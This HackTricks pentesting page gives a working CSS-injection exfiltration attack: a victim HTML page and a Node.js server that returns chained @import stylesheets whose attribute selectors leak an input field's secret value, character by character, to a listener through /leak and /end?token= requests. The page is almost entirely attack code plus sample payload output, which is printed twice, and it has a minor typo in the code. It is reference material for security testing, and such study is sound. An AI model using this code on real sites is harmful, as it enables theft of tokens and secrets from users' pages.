hacktricks/pentesting-web/xs-search/css-injection/css-injection-code.md

12 KiB

CSS Injection Code

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. Try it for free today.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}


{% code title="victim.html" %}

<!doctype html>
<body>
    <div><article><div><p><div><div><div><div><div>
<input type="text" value="1234567890">
<style>
@import url('//localhost:5001/start?');
</style>

{% endcode %}

{% code title="server.js" %}

const http = require('http');
const url = require('url');

// Port to exfiltrate to
const port = 5001;
// Host to exfiltrate to
const HOSTNAME = "http://localhost:5001";
const DEBUG = false;

var prefix = "", postfix = "";
var pending = [];
var stop = false, ready = 0, n = 0;

const requestHandler = (request, response) => {
    let req = url.parse(request.url, url);
    log('\treq: %s', request.url);
    
    //If stop, leakeage is finished
    if (stop) return response.end();
    
    switch (req.pathname) {
        // This only launched when starting the leakeage
        case "/start":
            genResponse(response);
            break;
        
        // Everytime something is leaked
        case "/leak":
            response.end();
            // If response comes with a pre, then we leaked some preffix s(E)cret
            if (req.query.pre && prefix !== req.query.pre) {
                prefix = req.query.pre;
            
            // If response comes with a post, then we leaked some suffix secre(T)
            } else if (req.query.post && postfix !== req.query.post) {
               postfix = req.query.post;
            } else {
                break;
            }
            
            // Always a pre and a post response must arrived before responding the "next" @import (which is waiting for response)
            if (ready == 2) {
                genResponse(pending.shift());
                ready = 0;
            } else {
                ready++;
                log('\tleak: waiting others...');
            }
            break;
        
        // While waiting for a pre and a post, the next @import is waiting to be responded
        // by a new generated payload with another "pre" and "post"
        case "/next":
            if (ready == 2) {
                genResponse(respose);
                ready = 0;
            } else {
                pending.push(response);
                ready++;
                log('\tquery: waiting others...');
            }
            break;
        
        // Called when the secret is leaked
        case "/end":
            stop = true;
            console.log('[+] END: %s', req.query.token);
        
        default:
            response.end();
    }
}

const genResponse = (response) => {
    // Verbose output to know what do we know
    console.log('...pre-payoad: ' + prefix);
    console.log('...post-payoad: ' + postfix);

    // Payload generation, you have an example of what is generated below
    let css = '@import url('+ HOSTNAME + '/next?' + Math.random() + ');\n' +
        [0,1,2,3,4,5,6,7,8,9,'a','b','c','d','e','f'].map(e => ('input[value$="' + e + postfix + '"]{--e'+n+':url(' + HOSTNAME + '/leak?post=' + e + postfix + ')}')).join('') +
        'div '.repeat(n) + 'input{background:var(--e'+n+')}' +
        [0,1,2,3,4,5,6,7,8,9,'a','b','c','d','e','f'].map(e => ('input[value^="' + prefix + e + '"]{--s'+n+':url(' + HOSTNAME + '/leak?pre=' + prefix + e +')}')).join('') +
        'div '.repeat(n) + 'input{border-image:var(--s'+n+')}' +
        'input[value='+ prefix + postfix + ']{list-style:url(' + HOSTNAME + '/end?token=' + prefix + postfix + '&)};';
    
    response.writeHead(200, { 'Content-Type': 'text/css'});
    response.write(css);
    response.end();
    n++;
}


// Server listening
const server = http.createServer(requestHandler)

server.listen(port, (err) => {
    if (err) {
        return console.log('[-] Error: something bad happened', err);
    }
    console.log('[+] Server is listening on %d', port);
})

function log() {
    if (DEBUG) console.log.apply(console, arguments);
}

/*
HTTP/1.1 200 OK
Content-Type: text/css
Date: Fri, 01 Apr 2022 14:35:39 GMT
Connection: close
Content-Length: 2149

@import url(http://localhost:5001/next?0.7834603960990516);
input[value$="0"]{--e0:url(http://localhost:5001/leak?post=0)}
input[value$="1"]{--e0:url(http://localhost:5001/leak?post=1)}
input[value$="2"]{--e0:url(http://localhost:5001/leak?post=2)}
input[value$="3"]{--e0:url(http://localhost:5001/leak?post=3)}
input[value$="4"]{--e0:url(http://localhost:5001/leak?post=4)}
input[value$="5"]{--e0:url(http://localhost:5001/leak?post=5)}
input[value$="6"]{--e0:url(http://localhost:5001/leak?post=6)}
input[value$="7"]{--e0:url(http://localhost:5001/leak?post=7)}
input[value$="8"]{--e0:url(http://localhost:5001/leak?post=8)}
input[value$="9"]{--e0:url(http://localhost:5001/leak?post=9)}
input[value$="a"]{--e0:url(http://localhost:5001/leak?post=a)}
input[value$="b"]{--e0:url(http://localhost:5001/leak?post=b)}
input[value$="c"]{--e0:url(http://localhost:5001/leak?post=c)}
input[value$="d"]{--e0:url(http://localhost:5001/leak?post=d)}
input[value$="e"]{--e0:url(http://localhost:5001/leak?post=e)}
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
input{background:var(--e0)}
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
input[value^="1"]{--s0:url(http://localhost:5001/leak?pre=1)}
input[value^="2"]{--s0:url(http://localhost:5001/leak?pre=2)}
input[value^="3"]{--s0:url(http://localhost:5001/leak?pre=3)}
input[value^="4"]{--s0:url(http://localhost:5001/leak?pre=4)}
input[value^="5"]{--s0:url(http://localhost:5001/leak?pre=5)}
input[value^="6"]{--s0:url(http://localhost:5001/leak?pre=6)}
input[value^="7"]{--s0:url(http://localhost:5001/leak?pre=7)}
input[value^="8"]{--s0:url(http://localhost:5001/leak?pre=8)}
input[value^="9"]{--s0:url(http://localhost:5001/leak?pre=9)}
input[value^="a"]{--s0:url(http://localhost:5001/leak?pre=a)}
input[value^="b"]{--s0:url(http://localhost:5001/leak?pre=b)}
input[value^="c"]{--s0:url(http://localhost:5001/leak?pre=c)}
input[value^="d"]{--s0:url(http://localhost:5001/leak?pre=d)}
input[value^="e"]{--s0:url(http://localhost:5001/leak?pre=e)}
input[value^="f"]{--s0:url(http://localhost:5001/leak?pre=f)}
input{border-image:var(--s0)}
input[value=]{list-style:url(http://localhost:5001/end?token=&)};
*/

/*
HTTP/1.1 200 OK
Content-Type: text/css
Date: Fri, 01 Apr 2022 14:35:39 GMT
Connection: close
Content-Length: 2149

@import url(http://localhost:5001/next?0.7834603960990516);
input[value$="0"]{--e0:url(http://localhost:5001/leak?post=0)}
input[value$="1"]{--e0:url(http://localhost:5001/leak?post=1)}
input[value$="2"]{--e0:url(http://localhost:5001/leak?post=2)}
input[value$="3"]{--e0:url(http://localhost:5001/leak?post=3)}
input[value$="4"]{--e0:url(http://localhost:5001/leak?post=4)}
input[value$="5"]{--e0:url(http://localhost:5001/leak?post=5)}
input[value$="6"]{--e0:url(http://localhost:5001/leak?post=6)}
input[value$="7"]{--e0:url(http://localhost:5001/leak?post=7)}
input[value$="8"]{--e0:url(http://localhost:5001/leak?post=8)}
input[value$="9"]{--e0:url(http://localhost:5001/leak?post=9)}
input[value$="a"]{--e0:url(http://localhost:5001/leak?post=a)}
input[value$="b"]{--e0:url(http://localhost:5001/leak?post=b)}
input[value$="c"]{--e0:url(http://localhost:5001/leak?post=c)}
input[value$="d"]{--e0:url(http://localhost:5001/leak?post=d)}
input[value$="e"]{--e0:url(http://localhost:5001/leak?post=e)}
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
input{background:var(--e0)}
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
input[value^="1"]{--s0:url(http://localhost:5001/leak?pre=1)}
input[value^="2"]{--s0:url(http://localhost:5001/leak?pre=2)}
input[value^="3"]{--s0:url(http://localhost:5001/leak?pre=3)}
input[value^="4"]{--s0:url(http://localhost:5001/leak?pre=4)}
input[value^="5"]{--s0:url(http://localhost:5001/leak?pre=5)}
input[value^="6"]{--s0:url(http://localhost:5001/leak?pre=6)}
input[value^="7"]{--s0:url(http://localhost:5001/leak?pre=7)}
input[value^="8"]{--s0:url(http://localhost:5001/leak?pre=8)}
input[value^="9"]{--s0:url(http://localhost:5001/leak?pre=9)}
input[value^="a"]{--s0:url(http://localhost:5001/leak?pre=a)}
input[value^="b"]{--s0:url(http://localhost:5001/leak?pre=b)}
input[value^="c"]{--s0:url(http://localhost:5001/leak?pre=c)}
input[value^="d"]{--s0:url(http://localhost:5001/leak?pre=d)}
input[value^="e"]{--s0:url(http://localhost:5001/leak?pre=e)}
input[value^="f"]{--s0:url(http://localhost:5001/leak?pre=f)}
input{border-image:var(--s0)}
input[value=]{list-style:url(http://localhost:5001/end?token=&)};
*/

{% endcode %}

Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. Try it for free today.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥